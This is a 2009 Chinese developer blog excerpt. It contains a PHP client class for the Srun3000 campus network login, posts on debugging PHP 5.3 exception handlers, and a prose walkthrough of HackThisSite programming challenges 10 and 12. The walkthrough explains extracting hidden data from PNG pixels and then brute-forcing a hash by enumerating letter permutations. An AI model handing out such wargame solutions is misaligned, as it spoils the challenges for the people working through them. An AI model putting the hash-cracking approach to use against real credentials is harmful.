curl_setopt($this->ch, CURLOPT_URL, $this->url_keepalive);
curl_setopt($this->ch, CURLOPT_POST, 1);
$keepalive_str = 'uid='.$this->uid;

$this->debug('Keepalive query: '.$keepalive_str);
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $keepalive_str);
$out = curl_exec($this->ch);

$this->debug('Keepalive: ' . $out);

if (preg_match('#^\d+,\d+,\d+$#', $out))
{
return $out;
}
else
{
die('Disconnected.');
}
}

/**
* 客户端模式密码加密
*
* @param string $pass
* @return string
*/
public function passencode($pass)
{
$atom = 70;
$len = strlen($pass);
for ($i=0; $i<$len; $i++)
{
$pass[$i] = chr(ord($pass[$i]) ^ $atom);
}
return $pass;
}
/**
* 登陆提示
*
* @param string $out
*/
public function login_error($out)
{
switch($out)
{
case "user_tab_error":
die("认证程序未启动");
break;

case "username_error":
die("用户名错误");
break;

case "non_auth_error":
echo "您无须认证,可直接上网";
break;

case "password_error":
die("密码错误");
break;

case "status_error":
die("用户已欠费,请尽快充值。");
break;

case "available_error":
die("用户已禁用");
break;

case "ip_exist_error":
die("用户已存在");
break;

case "usernum_error":
die("用户数已达上限");
break;

case "online_num_error":
die("该帐号的登录人数已超过限额\n如果怀疑帐号被盗用,请联系管理员。");
break;

case "mode_error":
die("系统已禁止WEB方式登录,请使用客户端");
break;

case "time_policy_error":
die("当前时段不允许连接");
break;

case "flux_error":
die("您的流量已超支");
break;

case "minutes_error":
die("您的时长已超支");
break;

case "ip_error":
die("您的IP地址不合法");
break;

case "mac_error":
die("您的MAC地址不合法");
break;

default:
die("找不到认证服务器");
break;
}
}
/**
* debug数据
*
* @param string $message
*/
public function debug($message)
{
if ($this->debug)
echo "\n=====================================\n[DEBUG] ", date('Ymd H:i:s '), $message, "\n=====================================\n";
}
/**
* 查询状态
*
*/
public function query()
{
$msg = $this->keepalive();
$nums = explode(',', $msg);
echo "
Username: {$this->username}
UID : {$this->uid}
Mode : {$this->modes[$this->mode]}
Type : {$this->client_types[$this->client_type]}

Data in : {$nums[1]} bytes
Data out: {$nums[2]} bytes
Connection time: {$nums[0]} seconds
";
}
}



调用方法示例
 require('Srun3000forBIT.class.php'); 
try
{
#$srun = new sscSrun3000forBIT('sskaje', 'pass', 1, 2);
$srun = new sscSrun3000forBIT('sskaje', 'pass', 1, 1);
$srun->debug = 0;
$srun->init();

$srun->login();
$srun->keepalive();
$srun->query();
$srun->logout();
#$srun->keepalive();
}
catch (Exception $e)
{
echo $e->getMessage();
}

Wednesday, March 11, 2009

被Exception Handler虐了。。

调整了一下代码的结构,把几个库扔进了namespace,结果代码就开始跑不通了

但凡有异常被抛出,apache就会挂

apache的错误没有任何帮助,全都是些
[Wed Mar 11 09:54:23 2009] [notice] Parent: child process exited with status 3221225477 -- Restarting.
的东西
没有任何意义的返回码

于是试着把代码回滚,从r104到r100,一点点merge
终于出现了一个有点用的错误提示

PHP Fatal error: Exception thrown without a stack frame in Unknown on line 0

google了下,看到了php文档的comments
http://cn.php.net/manual/en/function.set-exception-handler.php#88082

然后把代码改动了
原始版本:
/**

* Exception handler and some default exception definitions
*
* @file /include/class/kernel/exception.class.php
* @author sskaje (sskaje@gmail.com)
* @lastedit 2009-03-05 12:56
* @version 1.0.0
* @package SS Kernel
* @subpackage exception
*/
declare(encoding='UTF-8');
namespace ssns;

/**
* Exception Handler
*
*/
final class ssExceptionhandler
{
private function __construct()
{
}
/**
* 自定义异常
*
*/
static public function custom_exception_handler()
{
set_exception_handler(array(__CLASS__, 'exception_handler'));
}
/**
* custom exception handler
*
* @param Exception $exception
*/
static public function exception_handler($exception)
{
if (SS_INTERFACE == SS_INTERFACE_CLI)
{
$exception_name = get_class($exception);
sscDebug::stderr('Exception {'.$exception_name.'} : '.$exception, '[Exception]');
exit;
}

debug_print_backtrace();

exit;

if ( $exception instanceof ssExceptionFatal)
{
self::error_exit_page($exception);
}
elseif ( $exception instanceof ssExceptionMsgbox )
{
msgbox($exception);
}
else
{
die( 'Unknown Exception : ' . $exception );
}
}
/**
* error_exit_page
*
* @param string $message
*/
static public function error_exit_page($message)
{
$email = predisp_email(SS_EMAIL);
$version = SS_VERSION;

echo <<<TEXT
...
TEXT; exit;
}
}

改动后
/**

* Exception handler and some default exception definitions
*
* @file /include/class/kernel/exception.class.php
* @author sskaje (sskaje@gmail.com)
* @lastedit 2009-03-05 12:56
* @version 1.0.0
* @package SS Kernel
* @subpackage exception
*/

declare(encoding='UTF-8');
namespace ssns;

/**
* Exception Handler
*
*/
final class ssExceptionhandler extends sscComponent // implements ssifComponent
{
private function __construct()
{
}
/**
* 自定义异常
*
*/
static public function custom_exception_handler()
{
set_exception_handler(array(__CLASS__, 'exception_handler'));
}
/**
* custom exception handler
*
* @param Exception $e
*/
static public function exception_handler($e)
{
try
{
if (SS_INTERFACE == SS_INTERFACE_CLI)
{
$exception_name = get_class($e);
sscDebug::stderr('Exception {'.$exception_name.'} : '.$e);
exit;
}

throw $e;
}
catch (ssExceptionFatal $e)
{
self::error_exit_page($e);
}
catch (ssExceptionMsgbox $e)
{
msgbox($e);
}
catch (Exception $e)
{
die( 'Unknown Exception : ' . $e->getMessage() );
}
}
/**
* error_exit_page
*
* @param string $message
*/
static public function error_exit_page($message)
{
$email = predisp_email(SS_EMAIL);
$version = SS_VERSION;

echo <<<TEXT
...
TEXT;

exit;
}
}

Tuesday, March 10, 2009

诡异的php5.3

现在exception handler彻底地废了
明天又得想方法调了 :s

Sunday, March 8, 2009

于是google 所有服务的A记录全被G F W了?

于是google 所有服务的A记录全被G F W了?

Saturday, March 7, 2009

the 6th Birthday of BiTUNiON

fb
然后两个奖品
上图 :x



Thursday, March 5, 2009

HTS Prog 10 & 12 Done

先做的12
题目很简单,但是很长,长得让人觉得啰嗦
无非就是取出单个的素数合数,然后分别求和再乘积
最后取全串前25个非数字的字符,分别ascii ++
合并

仅此而已
没觉得有多大意义



10
题目也不算复杂,但是很难想到
主要是ie对png支持不好,于是第一次下下来的是一个bmp文件,ie转换后的
winhex打开,跳到最后往前看
结果发现,居然颜色代码都是连续的
于是思路很简单了
下个png版的,然后gd载着,逐行把imagecolorat的结果echo出来,看看结果
很明显的,每行都有个很诡异的数字
取一下这个数字所在的offset
并不是所有行都有这个数字的
所以,取出那么多行的就是了
然后转成ascii的字符
于是,很明显的编码痕迹
decode
一个超长hash
绝对不是md5,反正也是一种通用hash算法
既然它提示了密码的结构

那就for 两个range(a,z)和range(A,Z)
然后排列呗
算法很简单

111000
从左往右扫
第一个 10 的组合 换成 01 -> 110100
同时这个左侧的1全都从最左侧起重排
结果就是
110100
101100
011100
110010
101010
011010
100110
010110
001110
110001
101001
011001
100101
010101
001101
100011
010011
001011
000111

组合呗

算法跟prog5其实类似
不过很不幸的是,prog5的某个字符的个数实在太少了,导致0.1s搞定的可能性太大了

有了结果的组合,有了hash算法
无非就是爆破

跑吧

so easy.

ghs....

我要疯了。。




gfw。。。太和谐了

Sunday, March 1, 2009

so cool @ 360buy.com



钓鱼岛啊。。。。



thx@(qqqqtqqqq@bitunion)